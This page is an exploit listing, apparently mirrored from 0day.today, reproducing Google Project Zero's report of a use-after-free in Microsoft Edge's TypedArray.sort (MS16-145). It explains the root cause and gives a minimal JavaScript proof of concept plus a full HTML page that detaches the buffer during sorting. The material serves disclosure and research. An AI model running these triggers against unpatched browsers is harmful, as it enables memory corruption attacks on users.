Microsoft Edge - TypedArray.sort Use-After-Free (MS16-145) Exploit

🗓️ 14 Feb 2017 00:00:00Reported by Google Security ResearchType

zdt🔗 0day.today👁 35 Views

Microsoft Edge TypedArray.sort Use-After-Free (MS16-145) Exploit from 0day.toda

Reporter	Title	Published	Views	Family All 21
Circl	CVE-2016-7288	14 Feb 201700:00	–	circl
CNVD	Microsoft Edge Memory Corruption Vulnerability (CNVD-2016-12453)	14 Dec 201600:00	–	cnvd
Check Point Advisories	Microsoft Edge Use After Free (MS16-145: CVE-2016-7288)	13 Dec 201600:00	–	checkpoint_advisories
CVE	CVE-2016-7288	20 Dec 201605:54	–	cve
Cvelist	CVE-2016-7288	20 Dec 201605:54	–	cvelist
Microsoft KB	MS16-145: Cumulative security update for Microsoft Edge: December 13, 2016	13 Dec 201600:00	–	mskb
Microsoft KB	December 13, 2016 — KB3205383 (OS Build 10240.17202)	13 Dec 201608:00	–	mskb
Microsoft KB	December 13, 2016 — KB3205386 (OS Build 10586.713)	13 Dec 201608:00	–	mskb
Microsoft KB	December 13, 2016 — KB3206632 (OS Build 14393.576)	13 Dec 201608:00	–	mskb
Kaspersky	KLA10920 Multiple vulnerabilities in Microsoft Browser	13 Dec 201600:00	–	kaspersky

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=983
 
There is a use-after-free in TypedArray.sort. In TypedArrayCompareElementsHelper (https://chromium.googlesource.com/external/github.com/Microsoft/ChakraCore/+/TimeTravelDebugging/lib/Runtime/Library/TypedArray.cpp), the comparison function is called with the following code:
 
 Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3),
                undefined,
                JavascriptNumber::ToVarWithCheck((double)x, scriptContext),
                JavascriptNumber::ToVarWithCheck((double)y, scriptContext));
 
            Assert(TypedArrayBase::Is(contextArray[0]));
            if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))
            {
                JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));
            }
 
            if (TaggedInt::Is(retVal))
            {
                return TaggedInt::ToInt32(retVal);
            }
 
            if (JavascriptNumber::Is_NoTaggedIntCheck(retVal))
            {
                dblResult = JavascriptNumber::GetValue(retVal);
            }
            else
            {
                dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext);
            }
 
The TypeArray is checked to see if it has been detached, but then the return value from the function is converted to an integer, which can invoke valueOf. If this function detaches the TypedArray, one swap is perfomed on the buffer after it is freed.
 
A minimal PoC is as follows, and a full PoC is attached.
 
var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);
 
 
function v(){
 
   postMessage("test", "http://127.0.0.1", [buf])
   return 7;
 
}
 
function compareNumbers(a, b) {
 
  return {valueOf : v};
}
 
numbers.sort(compareNumbers);
 
This PoC works on 64-bit systems only.
-->
 
<html>
<body>
<script>
 
var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);
var first = 0;
 
 
function v(){
  alert("in v");
  if( first == 0){
       postMessage("test", "http://127.0.0.1", [buf])
    first++;
    }
   return 7;
 
}
 
function compareNumbers(a, b) {
  alert("in func");
 
  return {valueOf : v};
}
 
try{
    numbers.sort(compareNumbers);
}catch(e){
 
    alert(e.message);
 
}
</script>
</body>
</html>

#  0day.today [2018-03-01]  #

14 Feb 2017 00:00Current

7.8High risk

Vulners AI Score7.8

EPSS0.79309